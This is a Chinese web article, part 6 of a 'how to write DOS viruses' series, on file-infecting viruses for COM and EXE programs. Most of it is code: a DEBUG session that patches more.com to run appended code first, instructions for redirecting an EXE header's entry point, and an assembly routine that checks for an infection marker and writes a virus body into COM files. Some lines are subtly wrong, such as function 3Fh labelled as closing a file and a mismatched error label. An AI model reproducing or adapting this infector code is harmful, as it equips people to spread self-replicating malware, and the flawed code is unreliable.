网络通信 频道

如何编制DOS下的病毒(6)

  四、文件型病毒
  文件型病毒是DOS病毒中的大家族,文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒,源码病毒,甚至BAT病毒和WORD宏病毒,狭义的可执行文件病毒――即COM型和EXE型病毒。此处介绍COM和EXE型病毒。
  文件型病毒要感染COM文件有两种方法,一种是将病毒加在COM前部,一种是加在文件尾部。在前部时原文件的前3字节被修改。当DOS加载EXE文件时,根据文件头信息,调入一定长度的文件,设置SS,SP 从CS:IP 开始执行。病毒一般将自己加在文件的末端,并修改CS,IP的值指向病毒起始地址,并修改文件长度信息和SS,SP。
  COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。用DEBUG程序,拿DOS6.22西文版中的more.com来做实验。
C:\>debug more.com
-u
0CA4:0100 B8371E    MOV   AX,1E37 ;注意前三个字节的内容(病毒修改的地方)
0CA4:0103 BA3008    MOV   DX,0830
0CA4:0106 3BC4     CMP   AX,SP
0CA4:0108 7369     JNB   0173
0CA4:010A 8BC4     MOV   AX,SP
0CA4:010C 2D4403    SUB   AX,0344
0CA4:010F 90      NOP
0CA4:0110 25F0FF    AND   AX,FFF0
0CA4:0113 8BF8     MOV   DI,AX
0CA4:0115 B9A200    MOV   CX,00A2
0CA4:0118 90      NOP
0CA4:0119 BE7E01    MOV   SI,017E
0CA4:011C FC      CLD
0CA4:011D F3      REPZ
0CA4:011E A5      MOVSW
0CA4:011F 8BD8     MOV   BX,AX
-r
AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100  NV UP EI PL NZ NA PO NC
0CA4:0100 B8371E    MOV   AX,1E37
-a af1
0CA4:0AF1 mov ah,0
0CA4:0AF3 int 16                ;等待按键
0CA4:0AF5 cmp al,1b               ;等待ESC键
0CA4:0AF7 jnz af1
0CA4:0AF9 mov word ptr [100],37b8  ;恢复程序开始的三个字节 
0CA4:0AFF mov byte ptr [102],1e
0CA4:0B04 push cs                ;进栈CS:100
0CA4:0B05 mov si,100
0CA4:0B08 push si
0CA4:0B09 retf       ;RetF回到CS:100,程序开始处
0CA4:0B0A
-a 100
0CA4:0100 jmp af1  ;将程序开头改成跳转到修改的模块
0CA4:0103
-rcx
CX 09F1
: a0a
-w
Writing 00A0A bytes
-q
修改完了,我们来执行一下more,发现什么没有?如果不按ESC键程序无法执行,流程很简单:
1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。
2、最先执行添加的程序(相当于病毒模块),等待ESC键
3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序)
如果你能看懂以上程序,那你就对COM病毒有了一定的了解。

  EXE文件是一种多段的结构,属于DOS最成功和复杂的设计之一。要了解EXE文件,首先需要了EXE的文件头结构。(见前面介绍)偏移14和16表示了程序的执行代码入口地址。DOS对EXE采取重定位的方法,DOS下面可以加载很多TSR或者驱动程序,我们无法知道一个程序被加载的开始段值,但是我们却可以知道一个EXE程序的执行入口的开始段值比加载的第一个段值大多少。DOS就是通过这种简单的加减法来对付EXE的多段模式的。现在我们知道了EXE文件的开始执行代码是从加载初始地址+Code segment:Code pointer。还有一个我们很感兴趣的东西是偏移为8的Exeheader Size。这对病毒修改EXE文件很有用,可以用来确定EXE文件的代码开始处(代码开始处之前是Exeheader)。那么我们可以这样来修改一个EXE文件:把EXE文件的最后先填满16个字节(为了段对齐),把自己的程序段加到最后,并且保存EXE头中的14h和16h偏移的数值,把EXE头中的14h的数值改成100H,16的值改成(EXEFILESIZE+15) div 16 -ExeheaderSize -16 (-16的原因是100H=16*16)。

病毒感染COM文件的方法
  COM文件是纯粹代码映象,加载后在内存中的映象如下:
   CS=DS=ES=SS
   CS:0000->+----------+
       |  PSP  |
  IP(0100)->+----------+
       | COM FILE |
  SP(FFFE)->+----------+
       | dw 0000 |
       +----------+
   因此COM文件的最大SIZE为 64K-100h bytes - 1 word
   感染COM的典型做法如下:
   cs:0100 jmp endoffile    ;db 0e9h
                  ;dw size of com file
       ...
   endoffile :
virusstart:
        virus code

       mov ax,orgcode
        mov [100],ax
        mov al,[orgcode+2]
        mov [102],al
virussize=$-virusstart
resume:
        jmp 100       ;db 0e9h
                  ;dw -(sizeofcom+virussize)
    orgcode db 3 dup (?)    ;由原文件由0100开始的三个字节
   感染文件,先将开始的三字节保存在orgcode中,然后更改为0E9H,SIZEOFCOMFILE.将resume开始的三字节改为0E9H,-(sizeofcom+virussize).将病毒写入com文件的末尾.
   完整的感染代码还需要有已感染的判断,和文件大小的判断.如下:

  假设DS:DX指向文件名VirusSize,VirusStart的定义如上.并以下的修改:
   保存开始的四个字节用
   db 90h,0E9h
   dw sizeofcom
   替换,以0E990h为感染标记
   ...
   mov ax,3d01h
   int 21h       ;open for r/w
   jc OpenError
   push dx
   xchg ax,bx
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h       ;seek to end
   or dx,dx
   jnz complete    ;file larger than 64k,donot infect
   cmp ax,0FEEEh-VirusSize-11
   jnb complete    ;com file too large for infect

   cmp ax,4
   jb complete    ;file less than 4 bytes,donot infected

  mov di,offset orgcode
   mov [di+6],ax
   add [di+6],VirusSize ;generate code to replace

  mov ax,4200h
   xor cx,cx
   xor dx,dx
   int 21h       ;seek to begin

  mov cx,4
   mov dx,di
   mov ah,3fh
   int 21h       ;read 4 bytes

  jc complete
   cmp word ptr [di],0E990h
             ;if has been infected,should be
             ;nop
             ;jmp XXXX
   jz complete
   mov cx,4
   add dx,cx
   mov ah,40h
   int 21h       ;write 4 byte to the beginning

   mov ax,4202h
   xor cx,cx
   xor dx,dx
   int 21h      ;seek to end

   mov ah,40h
   mov dx,VirusStart
   mov cx,VirusSize+11
   int 21h      ;write Virus Code to COM
complete:
    mov ah,3fh
    int 21h      ;close file
ErrorOpen:
    ...

文章转载地址:http://www.cnpaf.net/Class/Virus/0512202035391725982.htm

0
相关文章